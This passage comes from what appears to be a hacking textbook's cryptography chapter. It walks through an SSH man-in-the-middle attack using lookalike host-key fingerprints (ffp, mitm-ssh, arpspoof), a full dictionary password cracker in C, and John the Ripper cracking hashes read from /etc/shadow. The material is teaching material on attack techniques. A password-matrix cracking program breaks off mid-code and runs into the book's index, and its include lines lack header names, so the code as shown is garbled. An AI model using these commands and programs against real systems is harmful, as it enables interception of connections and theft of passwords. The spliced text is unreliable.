Konrad Rieck had an interesting idea regarding SSH host fingerprints. Often, a user will connect to a server from several different clients. The host fingerprint will be displayed and added each time a new client is used, and a securityconscious user will tend to remember the general structure of the host fingerprint. While no one actually memorizes the entire fingerprint, major changes can be detected with little effort. Having a general idea of what the host fingerprint looks like when connecting from a new client greatly increases the security of that connection. If an MitM attack is attempted, the blatant difference in host fingerprints can usually be detected by eye. However, the eye and the brain can be tricked. Certain fingerprints will look very similar to others. Digits 1 and 7 look very similar, depending on the display font. Usually, the hex digits found at the beginning and end of the fingerprint are remembered with the greatest clarity, while the middle tends
413

C r y pt ol og y

to be a bit hazy. The goal behind the fuzzy fingerprint technique is to generate a host key with a fingerprint that looks similar enough to the original fingerprint to fool the human eye. The openssh package provides tools to retrieve the host key from servers. reader@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey # 192.168.42.72 SSH-1.99-OpenSSH_3.9p1 reader@hacking:~ $ cat loki.hostkey 192.168.42.72 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/ JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/ 52KTzjtKGacX4gTLNSc8fzfZU= reader@hacking:~ $ ssh-keygen -l -f loki.hostkey 1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72 reader@hacking:~ $

Now that the host key fingerprint format is known for 192.168.42.72 (loki), fuzzy fingerprints can be generated that look similar. A program that does this has been developed by Rieck and is available at http://www.thc .org/thc-ffp/. The following output shows the creation of some fuzzy fingerprints for 192.168.42.72 (loki). reader@hacking:~ $ ffp Usage: ffp [Options] Options: -f type Specify type of fingerprint to use [Default: md5] Available: md5, sha1, ripemd -t hash Target fingerprint in byte blocks. Colon-separated: 01:23:45:67... or as string 01234567... -k type Specify type of key to calculate [Default: rsa] Available: rsa, dsa -b bits Number of bits in the keys to calculate [Default: 1024] -K mode Specify key calulation mode [Default: sloppy] Available: sloppy, accurate -m type Specify type of fuzzy map to use [Default: gauss] Available: gauss, cosine -v variation Variation to use for fuzzy map generation [Default: 7.3] -y mean Mean value to use for fuzzy map generation [Default: 0.14] -l size Size of list that contains best fingerprints [Default: 10] -s filename Filename of the state file [Default: /var/tmp/ffp.state] -e Extract SSH host key pairs from state file -d directory Directory to store generated ssh keys to [Default: /tmp] -p period Period to save state file and display state [Default: 60] -V Display version information No state file /var/tmp/ffp.state present, specify a target hash. reader@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 ---[Initializing]--------------------------------------------------------------Initializing Crunch Hash: Done Initializing Fuzzy Map: Done Initializing Private Key: Done Initializing Hash List: Done Initializing FFP State: Done

414

0x 700

---[Fuzzy Map]-----------------------------------------------------------------Length: 32 Type: Inverse Gaussian Distribution Sum: 15020328 Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% : 3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% : 0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% : 1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% : ---[Current Key]---------------------------------------------------------------Key Algorithm: RSA (Rivest Shamir Adleman) Key Bits / Size of n: 1024 Bits Public key e: 0x10001 Public Key Bits / Size of e: 17 Bits Phi(n) and e r.prime: Yes Generation Mode: Sloppy

State File: /var/tmp/ffp.state Running... ---[Current State]-------------------------------------------------------------Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s -------------------------------------------------------------------------------Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 25.652482%

---[Current State]-------------------------------------------------------------Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s -------------------------------------------------------------------------------Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 55.471931% ---[Current State]-------------------------------------------------------------Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s -------------------------------------------------------------------------------Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 55.471931% .:[ output trimmed ]:.

C r y pt ol og y

415

---[Current State]-------------------------------------------------------------Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s -------------------------------------------------------------------------------Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 70.158321% -------------------------------------------------------------------------------Exiting and saving state file /var/tmp/ffp.state reader@hacking:~ $

This fuzzy fingerprint generation process can go on for as long as desired. The program keeps track of some of the best fingerprints and will display them periodically. All of the state information is stored in /var/tmp/ffp.state, so the program can be exited with a CTRL-C and then resumed again later by simply running ffp without any arguments. After running for a while, SSH host key pairs can be extracted from the state file with the -e switch. reader@hacking:~ $ ffp -e -d /tmp ---[Restoring]-----------------------------------------------------------------Reading FFP State File: Done Restoring environment: Done Initializing Crunch Hash: Done -------------------------------------------------------------------------------Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09] reader@hacking:~ $ ls /tmp/ssh-rsa* /tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub /tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08 /tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub /tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09 /tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub reader@hacking:~ $

In the preceding example, 10 public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output. reader@hacking:~ $ for i in $(ls -1 /tmp/ssh-rsa*.pub) > do > ssh-keygen -l -f $i > done 1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub 1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub 1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub 1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub

416

0x 700

1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 reader@hacking:~ $ ssh-keygen -l -f ./loki.hostkey 1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 reader@hacking:~ $

/tmp/ssh-rsa04.pub /tmp/ssh-rsa05.pub /tmp/ssh-rsa06.pub /tmp/ssh-rsa07.pub /tmp/ssh-rsa08.pub /tmp/ssh-rsa09.pub 192.168.42.72

From the 10 generated key pairs, the one that seems to look the most similar can be determined by eye. In this case, ssh-rsa02.pub, shown in bold, was chosen. Regardless of which key pair is chosen, though, it will certainly look more like the original fingerprint than any randomly generated key would. This new key can be used with mitm-ssh to make for an even more effective attack. The location for the host key is specified in the configuration file, so using the new key is simply matter of adding a HostKey line in /usr/local/etc/mitm-ssh_config, as shown below. Since we need to remove the Protocol 1 line we added earlier, the output below simply overwrites the configuration file. reader@hacking:~ $ echo "HostKey /tmp/ssh-rsa02" > /usr/local/etc/mitm-ssh_config reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222Using static route to 192.168.42.72:22 Disabling protocol version 1. Could not load host key SSH MITM Server listening on 0.0.0.0 port 2222.

In another terminal window, arpspoof is running to redirect the traffic to mitm-ssh, which will use the new host key with the fuzzy fingerprint. The output below compares the output a client would see when connecting. Normal Connection iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)?

MitM-Attacked Connection iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0. Are you sure you want to continue connecting (yes/no)?

Can you immediately tell the difference? These fingerprints look similar enough to trick most people into simply accepting the connection.

C r y pt ol og y

417

0x760

Password Cracking
Passwords aren’t generally stored in plaintext form. A file containing all the passwords in plaintext form would be far too attractive a target, so instead, a one-way hash function is used. The best-known of these functions is based on DES and is called crypt() , which is described in the manual page shown below.
NAME crypt - password and data encryption SYNOPSIS #define _XOPEN_SOURCE #include char *crypt(const char *key, const char *salt); DESCRIPTION crypt() is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search. key is a user's typed password. salt is a two-character string chosen from the set [a–zA–Z0–9./]. This string is used to perturb the algorithm in one of 4096 different ways.

This is a one-way hash function that expects a plaintext password and a salt value for input, and then outputs a hash with the salt value prepended to it. This hash is mathematically irreversible, meaning that it is impossible to determine the original password using only the hash. Writing a quick program to experiment with this function will help clarify any confusion. crypt_test.c
#define _XOPEN_SOURCE #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(1); } printf("password \"%s\" with salt \"%s\" ", argv[1], argv[2]); printf("hashes to ==> %s\n", crypt(argv[1], argv[2])); }

When this program is compiled, the crypt library needs to be linked. This is shown in the following output, along with some test runs.

418

0x 700

reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c /tmp/cccrSvYU.o: In function `main': crypt_test.c:(.text+0x73): undefined reference to `crypt' collect2: ld returned 1 exit status reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c -l crypt reader@hacking:~/booksrc $ ./crypt_test testing je password "testing" with salt "je" hashes to ==> jeLu9ckBgvgX. reader@hacking:~/booksrc $ ./crypt_test test je password "test" with salt "je" hashes to ==> jeHEAX1m66RV. reader@hacking:~/booksrc $ ./crypt_test test xy password "test" with salt "xy" hashes to ==> xyVSuHLjceD92 reader@hacking:~/booksrc $

Notice that in the last two runs, the same password is encrypted, but using different salt values. The salt value is used to perturb the algorithm further, so there can be multiple hash values for the same plaintext value if different salt values are used. The hash value (including the prepended salt) is stored in the password file under the premise that if an attacker were to steal the password file, the hashes would be useless. When a legitimate user needs to authenticate using the password hash, that user’s hash is looked up in the password file. The user is prompted to enter her password, the original salt value is extracted from the password file, and whatever the user types is sent through the same one-way hash function with the salt value. If the correct password was entered, the one-way hashing function will produce the same hash output as is stored in the password file. This allows authentication to function as expected, without ever having to store the plaintext password.

0x761 Dictionary Attacks
It turns out, however, that the encrypted passwords in the password file aren’t so useless after all. Sure, it’s mathematically impossible to reverse the hash, but it is possible to just quickly hash every word in a dictionary, using the salt value for a specific hash, and then compare the result with that hash. If the hashes match, then that word from the dictionary must be the plaintext password. A simple dictionary attack program can be whipped up fairly easily. It just needs to read words from a file, hash each one using the proper salt value, and display the word if there is a match. The following source code does this using filestream functions, which are included with stdio.h. These functions are easier to work with, since they wrap up the messiness of open() calls and file descriptors, using FILE structure pointers, instead. In the source below, the fopen() call’s r argument tells it to open the file for reading. It returns NULL on failure, or a pointer to the open filestream. The fgets() call gets a string from the filestream, up to a maximum length or when it reaches the end of a line. In this case, it’s used to read each line from the word-list file. This function also returns NULL on failure, which is used to detect then end of the file.
419

C r y pt ol og y

crypt_crack.c
#define _XOPEN_SOURCE #include #include /* Barf a message and exit. */ void barf(char *message, char *extra) { printf(message, extra); exit(1); } /* A dictionary attack example program */ int main(int argc, char *argv[]) { FILE *wordlist; char *hash, word[30], salt[3]; if(argc < 2) barf("Usage: %s \n", argv[0]); strncpy(salt, argv[2], 2); // First 2 bytes of hash are the salt. salt[2] = '\0'; // terminate string printf("Salt value is \'%s\'\n", salt); if( (wordlist = fopen(argv[1], "r")) == NULL) // Open the wordlist. barf("Fatal: couldn't open the file \'%s\'.\n", argv[1]); while(fgets(word, 30, wordlist) != NULL) { // Read each word word[strlen(word)-1] = '\0'; // Remove the '\n' byte at the end. hash = crypt(word, salt); // Hash the word using the salt. printf("trying word: %-30s ==> %15s\n", word, hash); if(strcmp(hash, argv[2]) == 0) { // If the hash matches printf("The hash \"%s\" is from the ", argv[2]); printf("plaintext password \"%s\".\n", word); fclose(wordlist); exit(0); } } printf("Couldn't find the plaintext password in the supplied wordlist.\n"); fclose(wordlist); }

The following output shows this program being used to crack the password hash jeHEAX1m66RV., using the words found in /usr/share/dict/words. reader@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV. Salt value is 'je' trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU trying word: A's ==> jeEcn7sF7jwWU trying word: AOL ==> jeSFGex8ANJDE trying word: AOL's ==> jesSDhacNYUbc

420

0x 700

trying word: trying word: trying word:

Aachen Aachen's Aaliyah

==> ==> ==>

jeyQc3uB14q1E je7AQSxfhvsyM je/vAqRJyOZvU

.:[ output trimmed ]:. trying word: terse ==> jelgEmNGLflJ2 trying word: tersely ==> jeYfo1aImUWqg trying word: terseness ==> jedH11z6kkEaA trying word: terseness's ==> jedH11z6kkEaA trying word: terser ==> jeXptBe6psF3g trying word: tersest ==> jenhzylhDIqBA trying word: tertiary ==> jex6uKY9AJDto trying word: test ==> jeHEAX1m66RV. The hash "jeHEAX1m66RV." is from the plaintext password "test". reader@hacking:~/booksrc $

Since the word test was the original password and this word is found in the words file, the password hash will eventually be cracked. This is why it’s considered poor security practice to use passwords that are dictionary words or based on dictionary words. The downside to this attack is that if the original password isn’t a word found in the dictionary file, the password won’t be found. For example, if a non-dictionary word such as h4R% is used as a password, the dictionary attack won’t be able to find it: reader@hacking:~/booksrc $ ./crypt_test h4R% je password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE Salt value is 'je' trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU trying word: A's ==> jeEcn7sF7jwWU trying word: AOL ==> jeSFGex8ANJDE trying word: AOL's ==> jesSDhacNYUbc trying word: Aachen ==> jeyQc3uB14q1E trying word: Aachen's ==> je7AQSxfhvsyM trying word: Aaliyah ==> je/vAqRJyOZvU .:[ output trimmed ]:. trying word: zooms ==> je8A6DQ87wHHI trying word: zoos ==> jePmCz9ZNPwKU trying word: zucchini ==> jeqZ9LSWt.esI trying word: zucchini's ==> jeqZ9LSWt.esI trying word: zucchinis ==> jeqZ9LSWt.esI trying word: zwieback ==> jezzR3b5zwlys trying word: zwieback's ==> jezzR3b5zwlys trying word: zygote ==> jei5HG7JrfLy6 trying word: zygote's ==> jej86M9AG0yj2 trying word: zygotes ==> jeWHQebUlxTmo Couldn't find the plaintext password in the supplied wordlist.

C r y pt ol og y

421

Custom dictionary files are often made using different languages, standard modifications of words (such as transforming letters to numbers), or simply appending numbers to the end of each word. While a bigger dictionary will yield more passwords, it will also take more time to process.

0x762 Exhaustive Brute-Force Attacks
A dictionary attack that tries every single possible combination is an exhaustive brute-force attack. While this type of attack will technically be able to crack every conceivable password, it will probably take longer than your grandchildren’s grandchildren would be willing to wait. With 95 possible input characters for crypt()-style passwords, there are 958 possible passwords for an exhaustive search of all eight-character passwords, which works out to be over seven quadrillion possible passwords. This number gets so big so quickly because, as another character is added to the password length, the number of possible passwords grows exponentially. Assuming 10,000 cracks per second, it would take about 22,875 years to try every password. Distributing this effort across many machines and processors is one possible approach; however, it is important to remember that this will only achieve a linear speedup. If one thousand machines were combined, each capable of 10,000 cracks per second, the effort would still take over 22 years. The linear speedup achieved by adding another machine is marginal compared to the growth in keyspace when another character is added to the password length. Luckily, the inverse of the exponential growth is also true; as characters are removed from the password length, the number of possible passwords decreases exponentially. This means that a four-character password only has 954 possible passwords. This keyspace has only about 84 million possible passwords, which can be exhaustively cracked (assuming 10,000 cracks per second) in a little over two hours. This means that, even though a password like h4R% isn’t in any dictionary, it can be cracked in a reasonable amount of time. This means that, in addition to avoiding dictionary words, password length is also important. Since the complexity scales up exponentially, doubling the length to produce an eight-character password should bring the level of effort required to crack the password into the unreasonable time frame. Solar Designer has developed a password-cracking program called John the Ripper that uses first a dictionary attack and then an exhaustive bruteforce attack. This program is probably the most popular one of its kind; it is available at http://www.openwall.com/john. It has been included on the LiveCD. reader@hacking:~/booksrc $ john John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer Usage: john [OPTIONS] [PASSWORD-FILES] -single "single crack" mode -wordfile:FILE -stdin wordlist mode, read words from FILE or stdin -rules enable rules for wordlist mode

422

0x 700

-incremental[:MODE] incremental mode [using section MODE] -external:MODE external mode or word filter -stdout[:LENGTH] no cracking, just write words to stdout -restore[:FILE] restore an interrupted session [from FILE] -session:FILE set session file name to FILE -status[:FILE] print status of a session [from FILE] -makechars:FILE make a charset, FILE will be overwritten -show show cracked passwords -test perform a benchmark -users:[-]LOGIN|UID[,..] load this (these) user(s) only -groups:[-]GID[,..] load users of this (these) group(s) only -shells:[-]SHELL[,..] load users with this (these) shell(s) only -salts:[-]COUNT load salts with at least COUNT passwords only -format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM) -savemem:LEVEL enable memory saving, at LEVEL 1..3 reader@hacking:~/booksrc $ sudo tail -3 /etc/shadow matrix:$1$zCcRXVsm$GdpHxqC9epMrdQcayUx0//:13763:0:99999:7::: jose:$1$pRS4.I8m$Zy5of8AtD800SeMgm.2Yg.:13786:0:99999:7::: reader:U6aMy0wojraho:13764:0:99999:7::: reader@hacking:~/booksrc $ sudo john /etc/shadow Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32]) guesses: 0 time: 0:00:00:01 0% (2) c/s: 5522 trying: koko guesses: 0 time: 0:00:00:03 6% (2) c/s: 5489 trying: exports guesses: 0 time: 0:00:00:05 10% (2) c/s: 5561 trying: catcat guesses: 0 time: 0:00:00:09 20% (2) c/s: 5514 trying: dilbert! guesses: 0 time: 0:00:00:10 22% (2) c/s: 5513 trying: redrum3 testing7 (jose) guesses: 1 time: 0:00:00:14 44% (2) c/s: 5539 trying: KnightKnight guesses: 1 time: 0:00:00:17 59% (2) c/s: 5572 trying: Gofish! Session aborted

In this output, the account jose is shown to have the password of testing7.

0x763 Hash Lookup Table
Another interesting idea for password cracking is using a giant hash lookup table. If all the hashes for all possible passwords were precomputed and stored in a searchable data structure somewhere, any password could be cracked in the time it takes to search. Assuming a binary search, this time would be about O(log2 N), where N is the number of entries. Since N is 958 in the case of eight-character passwords, this works out to about O(8 log2 95), which is quite fast. However, a hash lookup table like this would require about 100,000 terabytes of storage. In addition, the design of the password-hashing algorithm takes this type of attack into consideration and mitigates it with the salt value. Since multiple plaintext passwords will hash to different password hashes with different salts, a separate lookup table would have to be created for each salt. With the DES-based crypt() function, there are 4,096 possible salt values, which means that even for a smaller keyspace, such as all possible four-character passwords, a hash lookup table becomes impractical. With a fixed salt, the storage space needed for a single lookup table for all possible four-character passwords is about one gigabyte, but because of the salt values, there are 4,096
C r y pt ol og y

423

possible hashes for a single plaintext password, necessitating 4,096 different tables. This raises the needed storage space up to about 4.6 terabytes, which greatly dissuades such an attack.

0x764 Password Probability Matrix
There is a trade-off between computational power and storage space that exists everywhere. This can be seen in the most elementary forms of computer science and everyday life. MP3 files use compression to store a high-quality sound file in a relatively small amount of space, but the demand for computational resources increases. Pocket calculators use this trade-off in the other direction by maintaining a lookup table for functions such as sine and cosine to save the calculator from doing heavy computations. This trade-off can also be applied to cryptography in what has become known as a time/space trade-off attack. While Hellman’s methods for this type of attack are probably more efficient, the following source code should be easier to understand. The general principle is always the same, though: Try to find the sweet spot between computational power and storage space, so that an exhaustive brute-force attack can be completed in a reasonable amount of time, using a reasonable amount of space. Unfortunately, the dilemma of salts will still present itself, since this method still requires some form of storage. However, there are only 4,096 possible salts with crypt()-style password hashes, so the effect of this problem can be diminished by reducing the needed storage space far enough to remain reasonable despite the 4,096 multiplier. This method uses a form of lossy compression. Instead of having an exact hash lookup table, several thousand possible plaintext values will be returned when a password hash is entered. These values can be checked quickly to converge on the original plaintext password, and the lossy compression allows for a major space reduction. In the demonstration code that follows, the keyspace for all possible four-character passwords (with a fixed salt) is used. The storage space needed is reduced by 88 percent, compared to a full hash lookup table (with a fixed salt), and the keyspace that must be brute-forced through is reduced by about 1,018 times. Under the assumption of 10,000 cracks per second, this method can crack any four-character password (with a fixed salt) in under eight seconds, which is a considerable speedup when compared to the two hours needed for an exhaustive bruteforce attack of the same keyspace. This method builds a three-dimensional binary matrix that correlates parts of the hash values with parts of the plaintext values. On the x-axis, the plaintext is split into two pairs: the first two characters and the second two characters. The possible values are enumerated into a binary vector that is 952, or 9,025, bits long (about 1,129 bytes). On the y-axis, the ciphertext is split into four three-character chunks. These are enumerated the same way down the columns, but only four bits of the third character are actually used. This means there are 642 · 4, or 16,384, columns. The z-axis exists simply to maintain eight different two-dimensional matrices, so four exist for each of the plaintext pairs.
424
0x 700

The basic idea is to split the plaintext into two paired values that are enumerated along a vector. Every possible plaintext is hashed into ciphertext, and the ciphertext is used to find the appropriate column of the matrix. Then the plaintext enumeration bit across the row of the matrix is turned on. When the ciphertext values are reduced into smaller chunks, collisions are inevitable.
Plaintext test !J)h ".F+ "8,J Hash jeHEAX1m66RV. jeHEA38vqlkkQ jeHEA1Tbde5FE jeHEAnX8kQK3I

In this case, the column for HEA would have the bits corresponding to the plaintext pairs te, !J, "., and "8 turned on, as these plaintext/hash pairs are added to the matrix. After the matrix is completely filled out, when a hash such as jeHEA38vqlkkQ is entered, the column for HEA will be looked up, and the two-dimensional matrix will return the values te, !J, "., and "8 for the first two characters of the plaintext. There are four matrices like this for the first two characters, using ciphertext substring from characters 2 through 4, 4 through 6, 6 though 8, and 8 though 10, each with a different vector of possible first two-character plaintext values. Each vector is pulled, and they are combined with a bitwise AND. This will leave only those bits turned on that correspond to the plaintext pairs listed as possibilities for each substring of ciphertext. There are also four matrices like this for the last two characters of plaintext. The sizes of the matrices were determined by the pigeonhole principle. This is a simple principle that states: If k + 1 objects are put into k boxes, at least one of the boxes will contain two objects. So, to get the best results, the goal is for each vector to be a little bit less than half full of 1s. Since 954, or 81,450,625, entries will be put in the matrices, there need to be about twice as many holes to achieve 50 percent saturation. Since each vector has 9,025 entries, there should be about (954 · 2) / 9025 columns. This works out to be about 18,000 columns. Since ciphertext substrings of three characters are being used for the columns, the first two characters and four bits from the third character are used to provide 642 · 4, or about 16 thousand columns (there are only 64 possible values for each character of ciphertext hash). This should be close enough, because when a bit is added twice, the overlap is ignored. In practice, each vector turns out to be about 42 percent saturated with 1s. Since there are four vectors that are pulled for a single ciphertext, the probability of any one enumeration position having a 1 value in each vector is about 0.424, or about 3.11 percent. This means that, on average, the 9,025 possibilities for the first two characters of plaintext are reduced by about 97 percent to 280 possibilities. This is also done for the last two characters, providing about 2802, or 78,400, possible plaintext values. Under the assumption of 10,000 cracks per second, this reduced keyspace would take under 8 seconds to check.
C r y pt ol og y

425

Of course, there are downsides. First, it takes at least as long to create the matrix as the original brute-force attack would have taken; however, this is a one-time cost. Also, the salts still tend to prohibit any type of storage attack, even with the reduced storage-space requirements. The following two source code listings can be used to create a password probability matrix and crack passwords with it. The first listing will generate a matrix that can be used to crack all possible four-character passwords salted with je. The second listing will use the generated matrix to actually do the password cracking. ppm_gen.c
/*********************************************************\ * Password Probability Matrix * File: ppm_gen.c * *********************************************************** * * * Author: Jon Erickson * * Organization: Phiral Research Laboratories * * * * This is the generate program for the PPM proof of * * concept. It generates a file called 4char.ppm, which * * contains information regarding all possible 4* * character passwords salted with 'je'. This file can * * be used to quickly crack passwords found within this * * keyspace with the corresponding ppm_crack.c program. * * * \*********************************************************/ #define _XOPEN_SOURCE #include #include #include #define #define #define #define HEIGHT 16384 WIDTH 1129 DEPTH 8 SIZE HEIGHT * WIDTH * DEPTH

/* Map a single hash byte to an enumerated value. */ int enum_hashbyte(char a) { int i, j; i = (int)a; if((i >= 46) && (i = 65) && (i = 97) && (i (angle brackets), for include file, 91 application layer (OSI), 196 argument vector, 59 arithmetic operators, 12–14

ARP. See Address Resolution Protocol (ARP) arp_cmdline() function, 246 ARPhdr structure, 245–246 arp_initdata() function, 246 arp_send() function, 249 arpspoof.c program, 249–250, 408 arp_validatedata() function, 246 arp_verbose() function, 246 arrays in C, 38 artistic expression, programming as, 2 ASCII, 33–34 function for converting to integer, 59 for IP address, conversion, 203 ASLR, 379–380, 385, 388 aslr_demo.c program, 380 aslr_execl.c program, 389 aslr_execl_exploit.c program, 390–391 assembler, 7 assembly language, 7, 22, 25–37 GDB examine command to display instructions, 30 if-then-else structure in, 32 Linux system calls in, 284–286 for shellcode, 282–286 syntax, 22 assignment operator (=), 12 asterisk (*), for pointers, 43 asymmetric encryption, 400–405 asymptotic notation, 398 AT&T syntax for assembly language, 22 atoi() function, 59 auth_overflow.c program, 122–125 auth_overflow2.c program, 126–133

B backslash (\), for escaped character, 180 backtrace of nested function calls, 66 of stack, 40, 61, 274 bandwidth, ping flood to consume, 257 Base (EBX) register, 24, 344–345 saving current values, 342

Base Pointer (EBP) register, 24, 31, 70, 73, 344–345 saving current values, 342 BASH shell, 133–150, 332 command substitution, 254 investigations with, 380–384 for loops, 141–142 script to send ARP replies, 243–244 BB84, 396 bc calculator program, 30 beauty, in mathematics, 3 Bennett, Charles, 396 Berkeley Packet Filter (BPF), 259 big-endian byte order, 202 big-oh notation, 398 bind call, host_addr structure for, 205 bind() function, 199 bind_port.c program, 303–304 bind_port.s program, 306–307 bind_shell.s program, 312–314 bind_shell1.s program, 308 /bin/sh, 359 system call to execute, 295 birthday paradox, 437 bitwise operations, 84 bitwise.c program, 84–85 block cipher, 398 Blowfish, 398 Bluesmack, 256 Bluetooth protocol, 256 bootable LiveCD. See LiveCD botnet, 258 bots, 258 BPF (Berkeley Packet Filter), 259 Brassard, Gilles, 396 breakpoint, 24, 27, 39, 342, 343 broadcast address, for amplification attacks, 257 brute-force attacks, 436–437 exhaustive, 422–423 bss segment, 69, 77 for C variable storage, 75 bt command, 40 buffer overflows, 119–133, 251 command substitution and Perl to generate, 134–135 in memory segments, 150–167 notesearch.c program vulnerability to, 137–142 stack-based vulnerabilities, 122–133

456

I ND EX

buffer overrun, 119 buffers, 38 program restrictions on, 363–376 buildarp() function, 246 byte, 21 byte counter, incrementing, 177 byte order of architecture, 30 conversion, 238

close() function, file descriptor for, 82

C
C compilers, 19 free, 20 variable data types and, 58 C programming language address-of operator, 45 arithmetic operators shorthand, 13 vs. assembly language, 282 Boolean operations, 15 comments, 19 control structures, 309–314 file access in, 81–86 functions in, 16 memory segments, 75–77 programmer responsibility for data integrity, 119 call instruction, 287 null bytes from, 290 callback function, 235 carriage return, for line termination in HTTP, 209 caught_packet() function, 236, 237 CD with book. See LiveCD cdq instruction, 302 char data type, 12, 43 character array (C), 38 char_array executable binary, 38 char_array.c program, 38 check_authentication() function, 122, 125 stack frame for, 128–129 child process, spawning root shell with, 346 chmod command, 88 chown command, 90 chsh command, 89 cleanup() function, 184 client_addr_ptr, 348, 349 and crash, 353

